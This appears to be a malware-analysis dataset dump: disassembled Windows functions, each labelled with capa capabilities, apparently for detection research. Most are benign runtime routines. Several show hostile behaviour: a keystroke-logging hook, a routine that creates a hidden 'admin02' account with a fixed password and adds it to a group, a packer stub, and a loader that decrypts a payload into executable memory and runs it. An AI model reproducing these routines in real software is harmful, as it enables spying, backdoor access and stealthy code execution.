joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18017b05c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18017b08c
xor eax, eax
jmp 0x18017b14f
mov rbp, rbx
cmp word [rax], si
je 0x18017b0b1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18017b098
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18017b094
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18017afac
movsxd r14, eax
test eax, eax
jne 0x18017b0ef
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18017b085
mov rcx, r14
call fcn.1801788fc
mov rdi, rax
test rax, rax
jne 0x18017b108
xor ecx, ecx
call fcn.180178848
jmp 0x18017b0e4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18017afac
test eax, eax
jne 0x18017b139
mov rcx, rdi
call fcn.180178848
jmp 0x18017b143
xor ecx, ecx
call fcn.180178848
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1801807d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1801807f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1801807f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1800110c3
Capabilities:
Log keystrokes via application hook

Disassembly:
jmp 0x1800119e0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x158]
mov rax, qword [0x18001d028]
xor rax, rbp
mov qword [rbp + 0x108], rax
lea rcx, [0x18002205f]
call fcn.180011334
mov rax, qword [rbp + 0x130]
mov qword [0x18001d008], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180011177]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x18001d198], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 8]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jle 0x180011a8d
movzx eax, byte [section..data]
test eax, eax
je 0x180011a8d
lea rcx, [rbp + 8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 8]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x180011a56
lea rcx, [rbp - 0x20]
lea rdx, [0x18001a8e0]
call fcn.1800112d5
mov rcx, qword [rbp + 0x108]
xor rcx, rbp
call fcn.1800111a4
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret

Function at 0x1800111e0
Capabilities:
Terminate process

Disassembly:
jmp 0x180013140
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x180001a10
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x180001a38
xor eax, eax
lea r8, [sym.hello_world.dll_MessageBoxThread]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
Function at 0x140129010
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14012901d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14012902d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140129015
lea eax, [rcx + 1]
jmp 0x14012903b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14012904e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140129034
sub eax, 3
jb 0x14012906e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1401290bd
sar eax, 1
movsxd rbp, eax
jb 0x1401290a4
jmp 0x14012907c
add ebx, ebx
jne 0x14012907a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401290a4
inc ecx
add ebx, ebx
jne 0x14012908a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401290a4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14012909d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14012908c
add ecx, 2
jmp 0x1401290a9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140128fd2
jmp 0x14012901d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xb2c00
mov dl, 0xc
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14012910d
cmp rsi, rcx
jae 0x140129115
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401290f4
cmp al, 0x8f
ja 0x1401290f4
cmp byte [rsi - 2], 0xf
je 0x1401290fa
sub al, 0xe8
cmp al, 1
ja 0x1401290de
cmp rsi, rcx
jae 0x140129115
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401290e4
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140129115
lodsb al, byte [rsi]
jmp 0x1401290f4
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x125000]
mov eax, dword [rdi]
or eax, eax
je 0x140129172
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x129000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140129122
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14012916c
mov qword [rbx], rax
add rbx, 8
jmp 0x140129142
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1401291ac
cmp al, 0xef
ja 0x14012919e
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14012917e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14012918d
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14012922b], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14012922b
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14012921b
sub rsp, 0xffffffffffffff80
jmp 0x1400013f0
Function at 0x180001000
Capabilities:
Add user account
Add user account to group

Disassembly:
push rbp
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x180050008]
xor rax, rsp
mov qword [rbp + 0x210], rax
sub edx, 1
je 0x180001030
cmp edx, 1
jne 0x18000112e
movups xmm0, xmmword [str.admin02]
movzx eax, word [0x18004d9c8]
xor edx, edx
movups xmm1, xmmword [str.Password_123]
lea r9, [rbp - 0x80]
mov word [rbp - 0x48], ax
movups xmmword [rbp - 0x70], xmm0
lea r8, [rbp - 0x40]
mov dword [rbp - 0x80], 0x44
movsd xmm0, qword [0x18004d9c0]
lea ecx, [rdx + 0x1a]
movsd qword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
call qword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
lea rax, [rbp - 0x74]
mov dword [rbp - 0x78], 0x80
mov qword [rsp + 0x30], rax
lea r9, [rbp - 0x78]
lea rax, [rbp - 0x7c]
mov dword [rbp - 0x7c], 0x80
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x10]
lea rax, [rbp + 0x110]
xor ecx, ecx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
xor eax, eax
mov dword [rsp + 0x5c], 1
mov dword [rsp + 0x58], eax
lea r8, [rsp + 0x48]
mov qword [rsp + 0x74], rax
xor r9d, r9d
mov dword [rsp + 0x7c], eax
xorps xmm0, xmm0
lea rax, [rbp - 0x70]
mov dword [rsp + 0x70], 0x10000
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rbp - 0x60]
lea edx, [r9 + 1]
mov qword [rsp + 0x50], rax
movdqu xmmword [rsp + 0x60], xmm0
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
lea rax, [rbp - 0x70]
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x40]
mov qword [rsp + 0x40], rax
mov r8d, 3
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
xor eax, eax
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.180001160
add rsp, 0x320
pop rbp
ret

Function at 0x180005020
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.180004b00
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x18000505f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x18003d2a8]
jmp 0x180005069
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x180021f90
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.180002d90
lea rcx, [rsp + 0x40]
call fcn.180021f50
movzx eax, al
test eax, eax
jne 0x180021fd8
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.180021e80
mov rax, qword [rsp + 0x70]
jmp 0x1800221a9
lea rcx, [rsp + 0x40]
call fcn.180002e10
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.180021f00
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.180002e10
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.180021d50
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x18002207e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.180021e80
mov rax, qword [rsp + 0x80]
jmp 0x1800221a9
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.18000d9e0
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.180002d90
lea rcx, [rsp + 0x48]
call fcn.180002dd0
movzx eax, al
test eax, eax
jne 0x1800220e5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.180002db0
lea rcx, [rsp + 0x40]
call fcn.180021e80
mov rax, qword [rsp + 0x88]
jmp 0x1800221a9
lea rcx, [rsp + 0x48]
call fcn.180002e10
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.180002e10
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.180021d50
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x18002217b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.180002db0
lea rcx, [rsp + 0x40]
call fcn.180021e80
mov rax, qword [rsp + 0xa0]
jmp 0x1800221a9
lea rcx, [rsp + 0x48]
call fcn.1800034e0
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.180002db0
lea rcx, [rsp + 0x40]
call fcn.180021e80
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret
Function at 0x180029670
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x1800362d0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.18003b7a0
sub rsp, rax
mov rax, qword [0x180050008]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1800517f0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1800364c2
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x180036416
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x180036416
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1800363fb
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x180036398
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180036482
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1800364e1
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x1800364bd
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1800364e1
jmp 0x18003636e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.180001160
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x180036500
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.18003b7a0
sub rsp, rax
mov rax, qword [0x180050008]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1800517f0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x18003670d
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x180036659
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x180036659
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x180036639
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1800365c8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1800366cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x18003672c
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x180036708
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x18003672c
jmp 0x18003659e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.180001160
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140001bf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
sub rsp, 0xc8
mov dword [rsp + 0xc4], 0
mov dword [rsp + 0xc0], r9d
mov qword [rsp + 0xb8], r8
mov qword [rsp + 0xb0], rdx
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xa0], 0x19f7ea
lea rcx, str.TK27E5PQX2UT6C1D
lea rdx, str.SH76D9ZG3X0TMGTU
call fcn.140001670
mov rcx, qword [rsp + 0xa0]
shl rcx, 2
call fcn.140007150
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xa0]
mov edx, eax
mov rcx, qword [rsp + 0x98]
call fcn.140001970
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x8c], 0
movsxd rax, dword [rsp + 0x8c]
cmp rax, qword [rsp + 0xa0]
jge 0x140001cf5
movsxd rcx, dword [rsp + 0x8c]
lea rax, [0x14001e290]
movzx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0x90]
movsxd rdx, dword [rsp + 0x8c]
movzx ecx, byte [rcx + rdx]
xor eax, ecx
mov dl, al
movsxd rcx, dword [rsp + 0x8c]
lea rax, [0x14001e290]
mov byte [rax + rcx], dl
mov eax, dword [rsp + 0x8c]
add eax, 1
mov dword [rsp + 0x8c], eax
jmp 0x140001c8c
mov rcx, qword [rsp + 0x98]
call fcn.140007158
mov eax, dword [0x14001e240]
mov ecx, eax
shl rcx, 0
call fcn.140007150
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xa0]
mov r9d, eax
mov rcx, qword [rsp + 0x80]
lea rdx, [0x14001e240]
lea r8, [0x14001e290]
call fcn.140001e00
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x78], rax
mov eax, dword [0x14001e240]
mov dword [rsp + 0x74], eax
mov dword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x44]
mov edx, eax
mov rcx, qword [rsp + 0x78]
mov r8d, 0x40
lea r9, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
je 0x140001ddc
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x38], rax
call qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x78]
call fcn.140007158
mov rcx, qword [rsp + 0x30]
lea rdx, str.startThread
call fcn.1400019d0
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140001dd7
xor eax, eax
mov ecx, eax
call qword [rsp + 0x28]
jmp 0x140001de6
mov rcx, qword [rsp + 0x78]
call fcn.140007158
xor eax, eax
add rsp, 0xc8
ret
Function at 0x140005920
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000596a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000596a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000596a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000596a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000596a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000596c
xor al, al
add rsp, 0x28
ret

Function at 0x140007d48
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007b74
Function at 0x14003d3c0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
xor eax, eax
mov dword [rsp + 0x20], eax
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 0xf
mov byte [rcx], al
mov dword [rsp + 0x20], 1
lea rcx, [r8 + 2]
movabs rbp, 0xaaaaaaaaaaaaaaab
mov rax, rbp
mul rcx
shr rdx, 1
shl rdx, 2
xor r8d, r8d
mov rcx, rdi
call fcn.140040020
mov r10, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14003d437
mov r10, qword [rdi]
mov rcx, r10
mov rax, rbp
mul rsi
mov r8, rdx
shr r8, 1
mov r9, r8
lea r11, [0x140163610]
je 0x14003d4b1
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx edx, byte [rbx]
and edx, 3
shl edx, 4
movzx eax, byte [rbx + 1]
shr eax, 4
add edx, eax
movzx eax, byte [rdx + r11]
mov byte [rcx + 1], al
movsx edx, byte [rbx + 1]
and edx, 0xf
movzx eax, byte [rbx + 2]
shr eax, 6
lea eax, [rax + rdx*4]
movzx eax, byte [rax + r11]
mov byte [rcx + 2], al
movsx rax, byte [rbx + 2]
and eax, 0x3f
movzx eax, byte [rax + r11]
mov byte [rcx + 3], al
add rcx, 4
add rbx, 3
sub r9, 1
jne 0x14003d452
lea rax, [r8 + r8*2]
sub rsi, rax
sub rsi, 1
je 0x14003d502
cmp rsi, 1
jne 0x14003d52c
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx edx, byte [rbx]
and edx, 3
shl edx, 4
movzx eax, byte [rbx + 1]
shr eax, 4
add edx, eax
movzx eax, byte [rdx + r11]
mov byte [rcx + 1], al
movsx rax, byte [rbx + 1]
and eax, 0xf
movzx eax, byte [r11 + rax*4]
mov byte [rcx + 2], al
mov byte [rcx + 3], 0x3d
jmp 0x14003d528
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx rax, byte [rbx]
and eax, 3
add rax, rax
movzx eax, byte [r11 + rax*8]
mov byte [rcx + 1], al
mov word [rcx + 2], 0x3d3d
add rcx, 4
sub rcx, r10
xor r8d, r8d
mov rdx, rcx
mov rcx, rdi
call fcn.140040020
mov rax, rdi
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret